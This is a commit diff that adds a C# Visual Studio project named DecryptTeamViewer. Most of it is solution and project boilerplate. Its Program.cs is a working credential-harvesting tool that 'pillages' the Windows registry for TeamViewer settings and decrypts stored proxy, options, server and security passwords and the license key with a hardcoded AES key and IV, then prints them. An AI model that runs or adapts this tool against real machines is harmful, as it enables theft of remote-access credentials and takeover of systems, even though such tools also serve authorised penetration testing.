Add files via upload

V1V1 · Feb 7, 2020 · efdd2a8 · efdd2a8
1 parent 45e8051
commit efdd2a8
Show file tree

Hide file tree

Showing 5 changed files with 261 additions and 0 deletions.
diff --git a/DecryptTeamViewer.sln b/DecryptTeamViewer.sln
@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.29728.190
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DecryptTeamViewer", "DecryptTeamViewer\DecryptTeamViewer.csproj", "{D6AAED62-BBFC-4F2A-A2A4-35EC5B2A4E07}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{D6AAED62-BBFC-4F2A-A2A4-35EC5B2A4E07}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{D6AAED62-BBFC-4F2A-A2A4-35EC5B2A4E07}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{D6AAED62-BBFC-4F2A-A2A4-35EC5B2A4E07}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{D6AAED62-BBFC-4F2A-A2A4-35EC5B2A4E07}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {0C02553C-431C-4BB7-AEC1-3CDC69A660E8}
+	EndGlobalSection
+EndGlobal
diff --git a/DecryptTeamViewer/App.config b/DecryptTeamViewer/App.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+    <startup> 
+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
+    </startup>
+</configuration>
diff --git a/DecryptTeamViewer/DecryptTeamViewer.csproj b/DecryptTeamViewer/DecryptTeamViewer.csproj
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{D6AAED62-BBFC-4F2A-A2A4-35EC5B2A4E07}</ProjectGuid>
+    <OutputType>Exe</OutputType>
+    <RootNamespace>DecryptTeamViewer</RootNamespace>
+    <AssemblyName>DecryptTeamViewer</AssemblyName>
+    <TargetFrameworkVersion>v4.6</TargetFrameworkVersion>
+    <FileAlignment>512</FileAlignment>
+    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
+    <Deterministic>true</Deterministic>
+    <PublishUrl>publish\</PublishUrl>
+    <Install>true</Install>
+    <InstallFrom>Disk</InstallFrom>
+    <UpdateEnabled>false</UpdateEnabled>
+    <UpdateMode>Foreground</UpdateMode>
+    <UpdateInterval>7</UpdateInterval>
+    <UpdateIntervalUnits>Days</UpdateIntervalUnits>
+    <UpdatePeriodically>false</UpdatePeriodically>
+    <UpdateRequired>false</UpdateRequired>
+    <MapFileExtensions>true</MapFileExtensions>
+    <ApplicationRevision>0</ApplicationRevision>
+    <ApplicationVersion>1.0.0.%2a</ApplicationVersion>
+    <IsWebBootstrapper>false</IsWebBootstrapper>
+    <UseApplicationTrust>false</UseApplicationTrust>
+    <BootstrapperEnabled>true</BootstrapperEnabled>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Core" />
+    <Reference Include="System.Xml.Linq" />
+    <Reference Include="System.Data.DataSetExtensions" />
+    <Reference Include="Microsoft.CSharp" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Net.Http" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Program.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="App.config" />
+  </ItemGroup>
+  <ItemGroup>
+    <BootstrapperPackage Include=".NETFramework,Version=v4.6">
+      <Visible>False</Visible>
+      <ProductName>Microsoft .NET Framework 4.6 %28x86 and x64%29</ProductName>
+      <Install>true</Install>
+    </BootstrapperPackage>
+    <BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
+      <Visible>False</Visible>
+      <ProductName>.NET Framework 3.5 SP1</ProductName>
+      <Install>false</Install>
+    </BootstrapperPackage>
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+</Project>
diff --git a/DecryptTeamViewer/Program.cs b/DecryptTeamViewer/Program.cs
@@ -0,0 +1,114 @@
+using System;
+using System.Text;
+using Microsoft.Win32;
+using System.Security.Cryptography;
+
+namespace DecryptTeamViewer
+{
+    class Program
+    {
+        static void Main(string[] args)
+        {
+            Console.WriteLine("\r\n\r\n=== DecryptTeamViewer: Pillaging registry for TeamViewer information ===\r\n");
+
+            // TeamViewer version
+            Console.WriteLine("\r\n=== TeamViewer version ===\r\n");
+            Console.WriteLine(GetRegValue("TeamViewerSettings", "Version"));
+
+            // User info
+            Console.WriteLine("\r\n=== User Information ===\r\n");
+            Console.WriteLine("Account name: " + GetRegValue("TeamViewerSettings", "OwningManagerAccountName"));
+            Console.WriteLine("User email: " + GetRegValue("TeamViewerUserSettings", "BuddyLoginName"));
+
+            // Proxy info
+            Console.WriteLine("\r\n=== Proxy Information ===\r\n");
+            Console.WriteLine("Proxy IP: " + GetRegValue("TeamViewerSettings", "Proxy_IP"));
+            Console.WriteLine("Proxy username: " + GetRegValue("TeamViewerSettings", "ProxyUsername"));
+            var proxyPass = (byte[])GetRegValue("TeamViewerSettings", "ProxyPasswordAES");
+            Console.WriteLine("Proxy password: " + DecryptAES(proxyPass));
+
+            // Credentials
+
+            Console.WriteLine("\r\n=== Decrypted Credentials ===\r\n");
+            // Options pass
+            var optionsPass = (byte[])GetRegValue("TeamViewerSettings", "OptionsPasswordAES");
+            Console.WriteLine("TeamViewer options password: " + DecryptAES(optionsPass));
+            // Server pass
+            var serverPass = (byte[])GetRegValue("TeamViewerSettings", "ServerPasswordAES");
+            Console.WriteLine("TeamViewer server password: " + DecryptAES(serverPass));
+            // Security pass
+            var securityPass = (byte[])GetRegValue("TeamViewerSettings", "SecurityPasswordAES");
+            var exportedSecurityPass = (byte[])GetRegValue("TeamViewerSettings", "SecurityPasswordExported");
+            Console.WriteLine("TeamViewer security password: " + DecryptAES(securityPass));
+            Console.WriteLine("TeamViewer exported security password: " + DecryptAES(exportedSecurityPass));
+            // License
+            var licenseKey = (byte[])GetRegValue("TeamViewerSettings", "LicenseKeyAES");
+            Console.WriteLine("TeamViewer license key: " + DecryptAES(licenseKey) + "\n");
+
+        }
+        public static object GetRegValue(string hive, string value)
+        {
+            // Gets registry values from TeamViewer keys
+            Object regKeyValue = new Object();
+            if (hive == "TeamViewerSettings")
+            {
+                var regKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\WOW6432Node\TeamViewer", false);
+                if (regKey != null)
+                {
+                    regKeyValue = regKey.GetValue(value);
+                }
+                return regKeyValue;
+            }
+            else if (hive == "TeamViewerUserSettings")
+            {
+                var regKey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\TeamViewer", false);
+                if (regKey != null)
+                {
+                    regKeyValue = regKey.GetValue(value);
+                }
+                return regKeyValue;
+            }
+            else
+            {
+                regKeyValue = null;
+                return regKeyValue;
+            }
+        }
+
+        public static string DecryptAES(byte[] encryptedPass)
+        {
+            try
+            {
+                // AES settings
+                Aes aes = new AesManaged
+                {
+                    Mode = CipherMode.CBC,
+                    BlockSize = 128,
+                    KeySize = 128,
+                    Padding = PaddingMode.Zeros
+                };
+                // TeamViewer Key & IV
+                byte[] key = new byte[16] { 0x06, 0x02, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x52, 0x53, 0x41, 0x31, 0x00, 0x04, 0x00, 0x00 };
+                byte[] IV = new byte[16] { 0x01, 0x00, 0x01, 0x00, 0x67, 0x24, 0x4F, 0x43, 0x6e, 0x67, 0x62, 0xf2, 0x5e, 0xa8, 0xd7, 0x04 };
+
+                // Decrypt AES passwords
+                ICryptoTransform AESDecrypt = aes.CreateDecryptor(key, IV);
+                if (encryptedPass != null)
+                {
+                    var decrytedPass = AESDecrypt.TransformFinalBlock(encryptedPass, 0, encryptedPass.Length);
+                    string plaintextPass = Encoding.Unicode.GetString(decrytedPass);
+                    return plaintextPass;
+                }
+                else
+                {
+                    return null;
+                }
+            }
+            catch (Exception)
+            {
+                return null;
+            }
+        }
+
+    }
+}
diff --git a/DecryptTeamViewer/Properties/AssemblyInfo.cs b/DecryptTeamViewer/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("DecryptTeamViewer")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("DecryptTeamViewer")]
+[assembly: AssemblyCopyright("Copyright ©  2020")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components.  If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("d6aaed62-bbfc-4f2a-a2a4-35ec5b2a4e07")]
+
+// Version information for an assembly consists of the following four values:
+//
+//      Major Version
+//      Minor Version
+//      Build Number
+//      Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]